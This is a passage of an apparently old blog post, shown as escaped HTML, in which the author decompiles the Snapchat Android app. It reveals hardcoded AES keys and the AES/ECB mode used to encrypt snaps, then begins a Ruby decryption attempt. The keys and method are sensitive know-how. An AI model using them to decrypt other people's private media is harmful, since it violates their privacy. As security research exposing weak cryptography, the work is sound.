&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000070&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;39e4&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;dc2&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ac39&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;f10&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d8&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;fc08&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;b239&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000080&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;39e4&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;dc2&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ac39&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;f10&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d8&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;fc08&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;b239&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000090&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;39e4&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;dc2&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ac39&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;f10&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d8&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;fc08&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;b4f&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;… assuming the &lt;code&gt;32&lt;/code&gt; bytes above are exactly the number you’d expect to find
anywhere, which isn’t the case; but you get the point: there’d be some, but
there are none.  The key and data are totally mixed, which suggests a real
block cipher.&lt;/p&gt;
&lt;p&gt;Since there aren’t really good ways to attack this directly (at least, not for
me, an utter novice), it seemed much faster just look for the cipher/key/etc.
in the source.&lt;/p&gt;
&lt;p&gt;I was thinking I’d have to do some MitM of Google Play or root my Android, but
it turns out Googling ‘snapchat apk download’ is enough. Hah.&lt;/p&gt;
&lt;p&gt;The first tool I found for getting the contents and decompiling the APK was
&lt;a href=&quot;http://code.google.com/p/android-apktool/&quot;&gt;android-apktool&lt;/a&gt;; there are surely
better tools (this gives you smali output, not Java or Java-ish), but it was
easy enough to peruse, given I just wanted to know what the key was and what
primitives were being used.&lt;/p&gt;
&lt;p&gt;The code was totally unobfuscated, so it wasn’t hard to find the
&lt;code&gt;com.snapchat.android.api.SnapchatServer&lt;/code&gt;: the &lt;code&gt;.smali&lt;/code&gt; file is a bit weird to
read, but sure enough there’s:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;final&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;BASE_URL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Ljava&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;        &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;https://feelinsonice.appspot.com&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;247&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;local&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;B&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sget&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;object&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v6&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Lcom&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;snapchat&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;ENCRYPT_KEY_2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Ljava&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;invoke&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;v2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v6&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #f9e2af;&quot;&gt;Lcom&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;snapchat&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;BLjava&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;B&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;move&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;object&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;248&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;local&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;encryptedImage&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;B&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I guess that’d be like:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-java&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// byte[] image;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;encryptedImage&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ENCRYPT_KEY_2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or something.  I don’t actually do Java, so maybe that’s all backwards, but the
point seems pretty clear.  It occurs to me I’m reading the encryption code, but
while there are two keys, only ENCRYPT_KEY_2 is ever used.&lt;/p&gt;
&lt;p&gt;So, what encryption is going on?  &lt;code&gt;AESEncrypt.smali&lt;/code&gt; reads:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-java&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;string&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;1234567891123456&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sput&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;object&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;Lcom&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;snapchat&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;ENCRYPT_KEY&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Ljava&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;string&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;M02cnQ51Ji97vwT4&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sput&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;object&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;Lcom&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;snapchat&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;util&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;AESEncrypt&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #74c7ec;&quot;&gt;ENCRYPT_KEY_2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Ljava&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;S&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here are the keys!  Is it really as simple as 128-bit AES in ECB mode?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-java&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;21&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;string&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;v3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;AES/ECB/PKCS5Padding&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks like it.  Note the padding scheme; seems weird to use PKCS#5 which has
apparently “only been defined for block ciphers that use 64 bit (8 byte) block
size”, when the size here is 128-bit.  Let’s give it a go.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;r:ASCII-8BIT&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
